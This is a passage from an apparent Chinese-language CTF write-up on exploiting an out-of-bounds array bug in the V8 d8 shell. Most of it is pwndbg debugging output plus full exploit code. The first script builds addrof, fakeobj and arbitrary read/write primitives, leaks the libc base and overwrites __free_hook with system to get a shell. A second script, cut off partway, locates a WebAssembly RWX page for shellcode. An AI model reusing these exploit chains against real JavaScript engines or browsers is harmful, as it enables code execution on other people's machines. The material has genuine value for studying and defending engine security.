0x7ffd0e7e5a68 ◂— ... RIP 0x7f5d6275e285 (v8::base::OS::DebugBreak() + 5 ) ◂— pop rbp ──────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────────────────────────── ► 0x7f5d6275e285 <v8::base::OS::DebugBreak() + 5 > pop rbp 0x7f5d6275e286 <v8::base::OS::DebugBreak() + 6 > ret ↓ 0x7f5d6184cb11 mov rsi, qword ptr [rbp - 0x20 ] 0x7f5d6184cb15 lea rdi, [rbp - 0x50 ] 0x7f5d6184cb19 call v8::internal::ReadOnlyRoots::ReadOnlyRoots(v8::internal::Isolate * )@plt <v8::internal::ReadOnlyRoots::ReadOnlyRoots(v8::internal::Isolate * )@plt> 0x7f5d6184cb1e lea rdi, [rbp - 0x50 ] 0x7f5d6184cb22 call 0x7f5d6232e720 < 0x7f5d6232e720 > 0x7f5d6184cb27 mov qword ptr [rbp - 0x48 ], rax 0x7f5d6184cb2b mov rax, qword ptr [rbp - 0x48 ] 0x7f5d6184cb2f mov qword ptr [rbp - 8 ], rax 0x7f5d6184cb33 lea rdi, [rbp - 0x38 ] ──────────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────────── In file : / home / user1 / Downloads / v8 / v8 / src / base / platform / platform - posix.cc 423 / / Software breakpoint instruction is 0x0001 424 asm volatile( ".word 0x0001" ); 425 #else 426 #error Unsupported host architecture. 427 #endif ► 428 } 429 430 431 class PosixMemoryMappedFile final : public OS::MemoryMappedFile { 432 public: 433 PosixMemoryMappedFile( FILE * file , void * memory, size_t size) 00 : 0000 │ rbp rsp 0x7ffd0e7e5920 —▸ 0x7ffd0e7e5990 —▸ 0x7ffd0e7e5a10 —▸ 0x7ffd0e7e5a30 —▸ 0x7ffd0e7e5a68 ◂— ... 01 : 0008 │ 0x7ffd0e7e5928 —▸ 0x7f5d6184cb11 ◂— mov rsi, qword ptr [rbp - 0x20 ] 02 : 0010 │ 0x7ffd0e7e5930 ◂— 0x1007ffd0e7e5958 03 : 0018 │ 0x7ffd0e7e5938 —▸ 0x7f5d602e0180 ◂— 'length_ >= 0' 04 : 0020 │ 0x7ffd0e7e5940 ◂— 0xfffffffd 05 : 0028 │ 0x7ffd0e7e5948 ◂— 0x0 06 : 0030 │ 0x7ffd0e7e5950 ◂— 0x0 07 : 0038 │ 0x7ffd0e7e5958 —▸ 0x5646da124f00 —▸ 0x7ffd0e7e6950 ◂— 0x5646da124f00 ────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────────── ► f 0 0x7f5d6275e285 v8::base::OS::DebugBreak() + 5 f 1 0x7f5d6184cb11 f 2 0x7f5d6184c8d7 f 3 0x7f5d620221db Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit + 59 f 4 0x7f5d621f7672 Builtins_CallRuntimeHandler + 178 f 5 0x7ffd0e7e5a40 f 6 0x7ffd0e7e5a40 f 7 0x7ffd0e7e5aa0 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> job 0xc8569c4dd51 0xc8569c4dd51 : [JSArrayBuffer] - map : 0x0022cd2421b9 < Map (HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x33da3794e981 < Object map = 0x22cd242209 > - elements: 0x23d58c9c0c71 <FixedArray[ 0 ]> [HOLEY_ELEMENTS] - embedder fields: 2 - backing_store: 0x5646da124120 - byte_length: 8 - detachable - properties: 0x23d58c9c0c71 <FixedArray[ 0 ]> {} - embedder fields = { 0 , aligned pointer: (nil) 0 , aligned pointer: (nil) } pwndbg> telescope 0xc8569c4dd51 - 1 00 : 0000 │ 0xc8569c4dd50 —▸ 0x22cd2421b9 ◂— 0x8000023d58c9c01 01 : 0008 │ 0xc8569c4dd58 —▸ 0x23d58c9c0c71 ◂— 0x23d58c9c08 02 : 0010 │ 0xc8569c4dd60 —▸ 0x23d58c9c0c71 ◂— 0x23d58c9c08 03 : 0018 │ 0xc8569c4dd68 ◂— 0x8 04 : 0020 │ 0xc8569c4dd70 —▸ 0x5646da124120 ◂— 0x0 05 : 0028 │ 0xc8569c4dd78 ◂— 0x2 06 : 0030 │ 0xc8569c4dd80 ◂— 0x0 07 : 0038 │ 0xc8569c4dd88 ◂— 0x0 |
通过调试发现backing_store指针位于偏移0x20的位置。
7.利用方式1:将free_hook改写为system
信息泄露:通过float Array的map指针泄露map的基地址,然后通过map偏移0x18的位置泄露堆地址,然后读取堆地址的内容,泄露d8的基地址。最后通过puts函数的got表泄露libc地址,从而泄露system函数和free_hook地址。
调试release版本,获取偏移的过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 | pwndbg> r Starting program: / home / user1 / Downloads / v8 / v8 / out.gn / x64.release / d8 - - allow - natives - syntax - - shell pwn.js ERROR: Could not find ELF base! [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1" . [New Thread 0x7ffff661a700 (LWP 32648 )] [New Thread 0x7ffff5e19700 (LWP 32649 )] [New Thread 0x7ffff5618700 (LWP 32650 )] [ + ] Controlled float array: 0x28412ba0f2d1 V8 version 7.5 . 0 (candidate) d8> var test = new Array([ 1.1 , 1.2 , 1.3 , 1.4 ]); undefined d8> % DebugPrint(test) 0x28412ba0f5b9 <JSArray[ 1 ]> [[ 1.1 , 1.2 , 1.3 , 1.4 ]] d8> % SystemBreak() Thread 1 "d8" received signal SIGTRAP, Trace / breakpoint trap. 0x00005555561647a1 in v8::base::OS::DebugBreak() () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA RAX 0x0 RBX 0x555556320e50 —▸ 0x7fffffffdfd0 ◂— 0x555556320e50 RCX 0x5555560e9500 (Builtins_CallRuntimeHandler) ◂— push rbp RDX 0x555556320e50 —▸ 0x7fffffffdfd0 ◂— 0x555556320e50 RDI 0x0 RSI 0x7fffffffd928 —▸ 0x24dedd7804d1 ◂— 0x24dedd7805 R8 0x31caf3481869 ◂— 0x24dedd780f R9 0x3a R10 0x100000000 R11 0xfffffffffffffffb R12 0x5555563a82c0 ◂— 0x0 R13 0x555556320ed0 —▸ 0x24dedd780751 ◂— 0xde000024dedd7807 R14 0x0 R15 0x5555563a6388 ◂— 0x1baddead0baddeaf RBP 0x7fffffffd8d0 —▸ 0x7fffffffd8f8 —▸ 0x7fffffffd918 —▸ 0x7fffffffd950 —▸ 0x7fffffffd978 ◂— ... RSP 0x7fffffffd8a8 —▸ 0x555555e1b825 ◂— mov r14, qword ptr [rbx + 0x58 ] RIP 0x5555561647a1 (v8::base::OS::DebugBreak() + 1 ) ◂— ret ──────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────────────────────────── ► 0x5555561647a1 <v8::base::OS::DebugBreak() + 1 > ret < 0x555555e1b825 > ↓ 0x555555e1b825 mov r14, qword ptr [rbx + 0x58 ] 0x555555e1b829 mov rsi, qword ptr [rbx + 0x9da8 ] 0x555555e1b830 mov qword ptr [rbx + 0x9da8 ], r15 0x555555e1b837 add dword ptr [rbx + 0x9db8 ], - 1 0x555555e1b83e cmp qword ptr [rbx + 0x9db0 ], r12 0x555555e1b845 je 0x555555e1b860 < 0x555555e1b860 > ↓ 0x555555e1b860 mov rdi, r15 0x555555e1b863 call 0x555555b4b2d0 < 0x555555b4b2d0 > 0x555555e1b868 mov rax, r14 0x555555e1b86b pop rbx ──────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────────── 00 : 0000 │ rsp 0x7fffffffd8a8 —▸ 0x555555e1b825 ◂— mov r14, qword ptr [rbx + 0x58 ] 01 : 0008 │ 0x7fffffffd8b0 —▸ 0x555555e1b7f0 ◂— push rbp 02 : 0010 │ 0x7fffffffd8b8 —▸ 0x5555562d0740 (v8::internal::kIntrinsicFunctions) ◂— 0x0 03 : 0018 │ 0x7fffffffd8c0 ◂— 0x0 04 : 0020 │ 0x7fffffffd8c8 —▸ 0x7fffffffd928 —▸ 0x24dedd7804d1 ◂— 0x24dedd7805 05 : 0028 │ rbp 0x7fffffffd8d0 —▸ 0x7fffffffd8f8 —▸ 0x7fffffffd918 —▸ 0x7fffffffd950 —▸ 0x7fffffffd978 ◂— ... 06 : 0030 │ 0x7fffffffd8d8 —▸ 0x555556095f94 (Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit + 52 ) ◂— cmp rax, qword ptr [r13 + 0xb8 ] 07 : 0038 │ 0x7fffffffd8e0 ◂— 0xffffffffffffffff ► f 0 0x5555561647a1 v8::base::OS::DebugBreak() + 1 f 1 0x555555e1b825 f 2 0x555556095f94 Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit + 52 f 3 0x5555560e9552 Builtins_CallRuntimeHandler + 82 f 4 0x5555560091a6 Builtins_InterpreterEntryTrampoline + 678 f 5 0x24dedd7804d1 f 6 0x3a00000000 f 7 0x31caf34a3529 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> x / 4xg 0x28412ba0f5b9 - 1 0x28412ba0f5b8 : 0x00001d4218c42f79 0x000024dedd780c71 0x28412ba0f5c8 : 0x000028412ba0f5e9 0x0000000100000000 pwndbg> vmmap 0x00001d4218c42f79 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x1d4218c40000 0x1d4218c80000 rw - p 40000 0 + 0x2f79 pwndbg> telescope 0x1d4218c40000 20 00 : 0000 │ 0x1d4218c40000 ◂— 0x40000 01 : 0008 │ 0x1d4218c40008 ◂— 0x4 02 : 0010 │ 0x1d4218c40010 —▸ 0x5555563a82d0 ◂— 0x0 03 : 0018 │ 0x1d4218c40018 —▸ 0x55555631a2e0 —▸ 0x5555562dbea8 —▸ 0x5555557e9cc0 (__jit_debug_register_code) ◂— ret 04 : 0020 │ 0x1d4218c40020 —▸ 0x1d4218c40000 ◂— 0x40000 05 : 0028 │ 0x1d4218c40028 ◂— 0x40000 06 : 0030 │ 0x1d4218c40030 —▸ 0x555556329ed0 ◂— 0x0 07 : 0038 │ 0x1d4218c40038 —▸ 0x1d4218c40001 ◂— 0x400000000000400 08 : 0040 │ 0x1d4218c40040 —▸ 0x555556395200 —▸ 0x5555562c6108 —▸ 0x555555b836b0 (v8::internal::PagedSpace::~PagedSpace()) ◂— push rbp 09 : 0048 │ 0x1d4218c40048 —▸ 0x1d4218c40138 —▸ 0x24dedd780189 ◂— 0xa000024dedd7801 0a : 0050 │ 0x1d4218c40050 ◂— 0x1d4218c80000 0b : 0058 │ 0x1d4218c40058 ◂— 0x0 ... ↓ 7 skipped 13 : 0098 │ 0x1d4218c40098 ◂— 0x138 pwndbg> vmmap 0x55555631a2e0 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x5555562f9000 0x5555563c7000 rw - p ce000 0 [heap] + 0x212e0 pwndbg> vmmap 0x5555562dbea8 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x5555562af000 0x5555562ef000 r - - p 40000 d5b000 / home / user1 / Downloads / v8 / v8 / out.gn / x64.release / d8 + 0x2cea8 pwndbg> vmmap 0x5555562dbea8 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x5555562af000 0x5555562ef000 r - - p 40000 d5b000 / home / user1 / Downloads / v8 / v8 / out.gn / x64.release / d8 + 0x2cea8 pwndbg> vmmap d8 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x555555554000 0x5555557e7000 r - - p 293000 0 / home / user1 / Downloads / v8 / v8 / out.gn / x64.release / d8 0x5555557e7000 0x5555562af000 r - xp ac8000 293000 / home / user1 / Downloads / v8 / v8 / out.gn / x64.release / d8 0x5555562af000 0x5555562ef000 r - - p 40000 d5b000 / home / user1 / Downloads / v8 / v8 / out.gn / x64.release / d8 0x5555562ef000 0x5555562f9000 rw - p a000 d9b000 / home / user1 / Downloads / v8 / v8 / out.gn / x64.release / d8 pwndbg> p / x 0x5555562dbea8 - 0x555555554000 $ 1 = 0xd87ea8 pwndbg> got "puts" GOT protection: Full RELRO | GOT functions: 228 [ 0x5555562ee3b8 ] puts@GLIBC_2. 2.5 - > 0x7ffff7085aa0 (puts) ◂— push r13 pwndbg> p / x 0x5555562ee3b8 - 0x555555554000 $ 2 = 0xd9a3b8 pwndbg> vmmap 0x7ffff7085aa0 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x7ffff7005000 0x7ffff71ec000 r - xp 1e7000 0 / lib / x86_64 - linux - gnu / libc - 2.27 .so + 0x80aa0 pwndbg> vmmap libc LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x7ffff7005000 0x7ffff71ec000 r - xp 1e7000 0 / lib / x86_64 - linux - gnu / libc - 2.27 .so 0x7ffff71ec000 0x7ffff73ec000 - - - p 200000 1e7000 / lib / x86_64 - linux - gnu / libc - 2.27 .so 0x7ffff73ec000 0x7ffff73f0000 r - - p 4000 1e7000 / lib / x86_64 - linux - gnu / libc - 2.27 .so 0x7ffff73f0000 0x7ffff73f2000 rw - p 2000 1eb000 / lib / x86_64 - linux - gnu / libc - 2.27 .so pwndbg> p / x __free_hook $ 3 = 0x0 pwndbg> p / x &__free_hook $ 4 = 0x7ffff73f28e8 pwndbg> vmmap 0x7ffff73f28e8 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x7ffff73f2000 0x7ffff73f6000 rw - p 4000 0 + 0x8e8 pwndbg> p / x 0x7ffff73f28e8 - 0x7ffff7005000 $ 5 = 0x3ed8e8 pwndbg> p / x system $ 6 = 0x48 pwndbg> x / i system 0x7ffff7054550 <__libc_system>: test rdi,rdi pwndbg> vmmap 0x7ffff7054550 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x7ffff7005000 0x7ffff71ec000 r - xp 1e7000 0 / lib / x86_64 - linux - gnu / libc - 2.27 .so + 0x4f550 |
最后执行console.log("/bin/sh"),执行结束后调用free函数,从而获取shell。
完整利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 | / / / Helper functions to convert between float and integer primitives var buf = new ArrayBuffer( 8 ); / / 8 byte array buffer var f64_buf = new Float64Array(buf); var u64_buf = new Uint32Array(buf); function ftoi(val) { / / typeof(val) = float f64_buf[ 0 ] = val; return BigInt(u64_buf[ 0 ]) + (BigInt(u64_buf[ 1 ]) << 32n ); / / Watch for little endianness } function itof(val) { / / typeof(val) = BigInt u64_buf[ 0 ] = Number(val & 0xffffffffn ); u64_buf[ 1 ] = Number(val >> 32n ); return f64_buf[ 0 ]; } / / / Construct addrof primitive var obj = { "A" : 1 }; var obj_arr = [obj]; var float_arr = [ 1.1 , 1.2 , 1.3 , 1.4 ]; var obj_arr_map = obj_arr.oob(); var float_arr_map = float_arr.oob(); console.log( "[+] Float array map: 0x" + ftoi(float_arr_map).toString( 16 )); console.log( "[+] Object array map: 0x" + ftoi(obj_arr_map).toString( 16 )); function addrof(in_obj) { / / First, put the obj whose address we want to find into index 0 obj_arr[ 0 ] = in_obj; / / Change the obj array 's map to the float array' s map obj_arr.oob(float_arr_map); / / Get the address by accessing index 0 let addr = obj_arr[ 0 ]; / / Set the map back obj_arr.oob(obj_arr_map); / / Return the address as a BigInt return ftoi(addr); } function fakeobj(addr) { / / First, put the address as a float into index 0 of the float array float_arr[ 0 ] = itof(addr); / / Change the float array 's map to the obj array' s map float_arr.oob(obj_arr_map); / / Get a "fake" object at that memory location and store it let fake = float_arr[ 0 ]; / / Set the map back float_arr.oob(float_arr_map); / / Return the object return fake; } / / This array is what we will use to write to arbitrary memory addresses var arb_rw_arr = [float_arr_map, itof( 0x0000000200000000n ), 1 , 0xffffffff ]; console.log( "[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString( 16 )); function arb_read(addr) { / / We have to use tagged pointers, so if the addr isn't tagged, we tag it if (addr % 2n = = 0 ) addr + = 1n ; let fake = fakeobj(addrof(arb_rw_arr) - 0x20n ); arb_rw_arr[ 2 ] = itof(BigInt(addr) - 0x10n ); return ftoi(fake[ 0 ]); } function initial_arb_write(addr, val) { let fake = fakeobj(addrof(arb_rw_arr) - 0x20n ); arb_rw_arr[ 2 ] = itof(BigInt(addr) - 0x10n ); fake[ 0 ] = itof(BigInt(val)); } function arb_write(addr, val) { let buf = new ArrayBuffer( 8 ); let dataview = new DataView(buf); let buf_addr = addrof(buf); let backing_store_addr = buf_addr + 0x20n ; initial_arb_write(backing_store_addr, addr); dataview.setBigUint64( 0 , BigInt(val), true); } var test = new Array([ 1.1 , 1.2 , 1.3 , 1.4 ]); var test_addr = addrof(test); var map_ptr = arb_read(test_addr - 1n ); var map_sec_base = map_ptr - 0x2f79n ; var heap_ptr = arb_read(map_sec_base + 0x18n ); var PIE_leak = arb_read(heap_ptr); var PIE_base = PIE_leak - 0xd87ea8n ; console.log( "[+] test array: 0x" + test_addr.toString( 16 )); console.log( "[+] test array map leak: 0x" + map_ptr.toString( 16 )); console.log( "[+] map section base: 0x" + map_sec_base.toString( 16 )); console.log( "[+] heap leak: 0x" + heap_ptr.toString( 16 )); console.log( "[+] PIE leak: 0x" + PIE_leak.toString( 16 )); console.log( "[+] PIE base: 0x" + PIE_base.toString( 16 )); puts_got = PIE_base + 0xd9a3b8n ; libc_base = arb_read(puts_got) - 0x80aa0n ; free_hook = libc_base + 0x3ed8e8n ; system = libc_base + 0x4f550n ; console.log( "[+] Libc base: 0x" + libc_base.toString( 16 )); console.log( "[+] __free_hook: 0x" + free_hook.toString( 16 )); console.log( "[+] system: 0x" + system.toString( 16 )); console.log( "[+] Overwriting __free_hook to &system" ); arb_write(free_hook, system); console.log( "/bin/sh" ) |
验证命令: ../v8/out.gn/x64.release/d8 --shell exp_free.js
成功的截屏:
8. 利用方式2:通过申请rwx内存页,执行shellcode
可以通过wasm代码来申请一个rwx的内存页,将shellcode写入。
获取rwx内存页地址的调试过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | pwndbg> r Starting program: / home / user1 / Downloads / v8 / v8 / out.gn / x64.release / d8 - - allow - natives - syntax - - shell pwn.js ERROR: Could not find ELF base! [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1" . [New Thread 0x7ffff661a700 (LWP 10451 )] [New Thread 0x7ffff5e19700 (LWP 10452 )] [New Thread 0x7ffff5618700 (LWP 10453 )] [ + ] Controlled float array: 0x2480954cf2d1 V8 version 7.5 . 0 (candidate) d8> var wasm_code = new Uint8Array([ 0 , 97 , 115 , 109 , 1 , 0 , 0 , 0 , 1 , 133 , 128 , 128 , 128 , 0 , 1 , 96 , 0 , 1 , 127 , 3 , 130 , 128 , 128 , 128 , 0 , 1 , 0 , 4 , 132 , 128 , 128 , 128 , 0 , 1 , 112 , 0 , 0 , 5 , 131 , 128 , 128 , 128 , 0 , 1 , 0 , 1 , 6 , 129 , 128 , 128 , 128 , 0 , 0 , 7 , 145 , 128 , 128 , 128 , 0 , 2 , 6 , 109 , 101 , 109 , 111 , 114 , 121 , 2 , 0 , 4 , 109 , 97 , 105 , 110 , 0 , 0 , 10 , 138 , 128 , 128 , 128 , 0 , 1 , 132 , 128 , 128 , 128 , 0 , 0 , 65 , 42 , 11 ]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main;undefined d8> undefined d8> undefined d8> % DebugPrint(wasm_instance) 0x3f294ab636d1 <Instance map = 0x2df6fb509789 > [ object WebAssembly.Instance] d8> % SystemBreak() Thread 1 "d8" received signal SIGTRAP, Trace / breakpoint trap. 0x00005555561647a1 in v8::base::OS::DebugBreak() () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────────── RAX 0x0 RBX 0x555556320e50 —▸ 0x7fffffffdfd0 ◂— 0x555556320e50 RCX 0x5555560e9500 (Builtins_CallRuntimeHandler) ◂— push rbp RDX 0x555556320e50 —▸ 0x7fffffffdfd0 ◂— 0x555556320e50 RDI 0x0 RSI 0x7fffffffd928 —▸ 0x708362c04d1 ◂— 0x708362c05 R8 0x3f294ab41869 ◂— 0x708362c0f R9 0x3a R10 0x100000000 R11 0xfffffffffffffffb R12 0x5555563a82c0 ◂— 0x0 R13 0x555556320ed0 —▸ 0x708362c0751 ◂— 0xb600000708362c07 R14 0x0 R15 0x5555563a6388 ◂— 0x1baddead0baddeaf RBP 0x7fffffffd8d0 —▸ 0x7fffffffd8f8 —▸ 0x7fffffffd918 —▸ 0x7fffffffd950 —▸ 0x7fffffffd978 ◂— ... RSP 0x7fffffffd8a8 —▸ 0x555555e1b825 ◂— mov r14, qword ptr [rbx + 0x58 ] RIP 0x5555561647a1 (v8::base::OS::DebugBreak() + 1 ) ◂— ret ► 0x5555561647a1 <v8::base::OS::DebugBreak() + 1 > ret < 0x555555e1b825 > ↓ 0x555555e1b825 mov r14, qword ptr [rbx + 0x58 ] 0x555555e1b829 mov rsi, qword ptr [rbx + 0x9da8 ] 0x555555e1b830 mov qword ptr [rbx + 0x9da8 ], r15 0x555555e1b837 add dword ptr [rbx + 0x9db8 ], - 1 0x555555e1b83e cmp qword ptr [rbx + 0x9db0 ], r12 0x555555e1b845 je 0x555555e1b860 < 0x555555e1b860 > ↓ 0x555555e1b860 mov rdi, r15 0x555555e1b863 call 0x555555b4b2d0 < 0x555555b4b2d0 > 0x555555e1b868 mov rax, r14 0x555555e1b86b pop rbx ──────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────────── 00 : 0000 │ rsp 0x7fffffffd8a8 —▸ 0x555555e1b825 ◂— mov r14, qword ptr [rbx + 0x58 ] 01 : 0008 │ 0x7fffffffd8b0 —▸ 0x555555e1b7f0 ◂— push rbp 02 : 0010 │ 0x7fffffffd8b8 —▸ 0x5555562d0740 (v8::internal::kIntrinsicFunctions) ◂— 0x0 03 : 0018 │ 0x7fffffffd8c0 ◂— 0x0 04 : 0020 │ 0x7fffffffd8c8 —▸ 0x7fffffffd928 —▸ 0x708362c04d1 ◂— 0x708362c05 05 : 0028 │ rbp 0x7fffffffd8d0 —▸ 0x7fffffffd8f8 —▸ 0x7fffffffd918 —▸ 0x7fffffffd950 —▸ 0x7fffffffd978 ◂— ... 06 : 0030 │ 0x7fffffffd8d8 —▸ 0x555556095f94 (Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit + 52 ) ◂— cmp rax, qword ptr [r13 + 0xb8 ] 07 : 0038 │ 0x7fffffffd8e0 ◂— 0xffffffffffffffff ────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────────── ► f 0 0x5555561647a1 v8::base::OS::DebugBreak() + 1 f 1 0x555555e1b825 f 2 0x555556095f94 Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit + 52 f 3 0x5555560e9552 Builtins_CallRuntimeHandler + 82 f 4 0x5555560091a6 Builtins_InterpreterEntryTrampoline + 678 f 5 0x708362c04d1 f 6 0x3a00000000 f 7 0x3f294ab63e69 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> telescope 0x3f294ab636d1 - 1 + 0x88 00 : 0000 │ 0x3f294ab63758 —▸ 0x145b75cf7000 ◂— movabs r10, 0x145b75cf7260 / * 0x145b75cf7260ba49 * / 01 : 0008 │ 0x3f294ab63760 —▸ 0x2480954d2181 ◂— 0x7100002df6fb5091 02 : 0010 │ 0x3f294ab63768 —▸ 0x2480954d2461 ◂— 0x7100002df6fb50ad 03 : 0018 │ 0x3f294ab63770 —▸ 0x3f294ab41869 ◂— 0x708362c0f 04 : 0020 │ 0x3f294ab63778 —▸ 0x3f294ab637f9 ◂— 0x7100002df6fb50a1 05 : 0028 │ 0x3f294ab63780 —▸ 0x708362c04d1 ◂— 0x708362c05 ... ↓ 2 skipped pwndbg> vmmap 0x145b75cf7000 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x145b75cf7000 0x145b75cf8000 rwxp 1000 0 + 0x0 |
可以看到rwx内存页的地址位于wasm_instance对象的0x88偏移的位置。
通过ArrayBuffer来对这块内存写入shellcode,完整的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 | / / / Helper functions to convert between float and integer primitives var buf = new ArrayBuffer( 8 ); / / 8 byte array buffer var f64_buf = new Float64Array(buf); var u64_buf = new Uint32Array(buf); function ftoi(val) { / / typeof(val) = float f64_buf[ 0 ] = val; return BigInt(u64_buf[ 0 ]) + (BigInt(u64_buf[ 1 ]) << 32n ); / / Watch for little endianness } function itof(val) { / / typeof(val) = BigInt u64_buf[ 0 ] = Number(val & 0xffffffffn ); u64_buf[ 1 ] = Number(val >> 32n ); return f64_buf[ 0 ]; } / / / Construct addrof primitive var obj = { "A" : 1 }; var obj_arr = [obj]; var float_arr = [ 1.1 , 1.2 , 1.3 , 1.4 ]; var obj_arr_map = obj_arr.oob(); var float_arr_map = float_arr.oob(); function addrof(in_obj) { / / First, put the obj whose address we want to find into index 0 obj_arr[ 0 ] = in_obj; / / Change the obj array 's map to the float array' s map obj_arr.oob(float_arr_map); / / Get the address by accessing index 0 let addr = obj_arr[ 0 ]; / / Set the map back obj_arr.oob(obj_arr_map); / / Return the address as a BigInt return ftoi(addr); } function fakeobj(addr) { / / First, put the address as a float into index 0 of the float array float_arr[ 0 ] = itof(addr); / / Change the float array 's map to the obj array' s map float_arr.oob(obj_arr_map); / / Get a "fake" object at that memory location and store it let fake = float_arr[ 0 ]; / / Set the map back float_arr.oob(float_arr_map); / / Return the object return fake; } / / This array is what we will use to read from and write to arbitrary memory addresses var arb_rw_arr = [float_arr_map, 1.2 , 1.3 , 1.4 ]; console.log( "[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString( 16 )); function arb_read(addr) { / / We have to use tagged pointers for reading, so we tag the addr if (addr % 2n = = 0 ) addr + = 1n ; / / Place a fakeobj right on top of our crafted array with a float array map let fake = fakeobj(addrof(arb_rw_arr) - 0x20n ); / / Change the elements pointer using our crafted array to read_addr - 0x10 arb_rw_arr[ 2 ] = itof(BigInt(addr) - 0x10n ); / / Index 0 will then return the value at read_addr return ftoi(fake[ 0 ]); } function initial_arb_write(addr, val) { / / Place a fakeobj right on top of our crafted array with a float array map let fake = fakeobj(addrof(arb_rw_arr) - 0x20n ); / / Change the elements pointer using our crafted array to write_addr - 0x10 arb_rw_arr[ 2 ] = itof(BigInt(addr) - 0x10n ); / / Write to index 0 as a floating point value fake[ 0 ] = itof(BigInt(val)); } console.log( "[+] Creating an RWX page using WebAssembly" ); / / https: / / wasdk.github.io / WasmFiddle / var wasm_code = new Uint8Array([ 0 , 97 , 115 , 109 , 1 , 0 , 0 , 0 , 1 , 133 , 128 , 128 , 128 , 0 , 1 , 96 , 0 , 1 , 127 , 3 , 130 , 128 , 128 , 128 , 0 , 1 , 0 , 4 , 132 , 128 , 128 , 128 , 0 , 1 , 112 , 0 , 0 , 5 , 131 , 128 , 128 , 128 , 0 , 1 , 0 , 1 , 6 , 129 , 128 , 128 , 128 , 0 , 0 , 7 , 145 , 128 , 128 , 128 , 0 , 2 , 6 , 109 , 101 , 109 , 111 , 114 , 121 , 2 , 0 , 4 , 109 , 97 , 105 , 110 , 0 , 0 , 10 , 138 , 128 , 128 , 128 , 0 , 1 , 132 , 128 , 128 , 128 , 0 , 0 , 65 , 42 , 11 ]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main; var rwx_page_addr = arb_read(addrof(wasm_instance) - 1n + 0x88n ); console.log( "[+] RWX 